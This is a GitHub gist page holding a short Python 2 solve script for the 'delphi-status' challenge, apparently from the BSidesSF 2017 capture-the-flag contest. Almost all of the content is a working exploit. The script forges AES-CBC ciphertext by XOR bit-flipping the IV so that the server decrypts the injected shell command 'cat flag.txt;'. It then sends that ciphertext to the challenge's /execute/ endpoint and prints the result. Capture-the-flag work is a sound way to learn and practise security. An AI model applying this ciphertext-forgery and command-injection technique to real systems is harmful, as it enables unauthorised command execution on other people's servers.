Created
February 14, 2017 00:02
-
-
Save firsov/b9a152edcdafd67896f2e030ceb97832 to your computer and use it in GitHub Desktop.
delphi-status
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Antichat | |
import urllib2 | |
def get_ciphertext(p): | |
assert(len(p) <= 16) | |
p += '#' * (16-len(p)) | |
plain2 = int("echo \"This is a ".encode('hex'), 16) | |
iv = 0x1244112edbf81e9b37849824eccf92f1 | |
d = '7f17510921b23bcdca5e06d3ac4baee60ea5abc1f309eca3bfb3c5a2b5c54e53f65fd11502c1efed53c8f239ab12f40d2b3b108e161fa09afedb7b462f02981b9cfbd7ce571fe73fe5514bb97835c7c5469c7e1d0df5bc58170e0c7c26340e27' | |
return hex(int(p.encode('hex'), 16) ^ iv ^ plain2)[2:-1].rjust(32, '0') + d | |
cmd = 'cat flag.txt;' | |
print get_ciphertext(cmd); | |
print urllib2.urlopen('http://delphi-status-e606c556.ctf.bsidessf.net/execute/' + get_ciphertext(cmd)).read() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment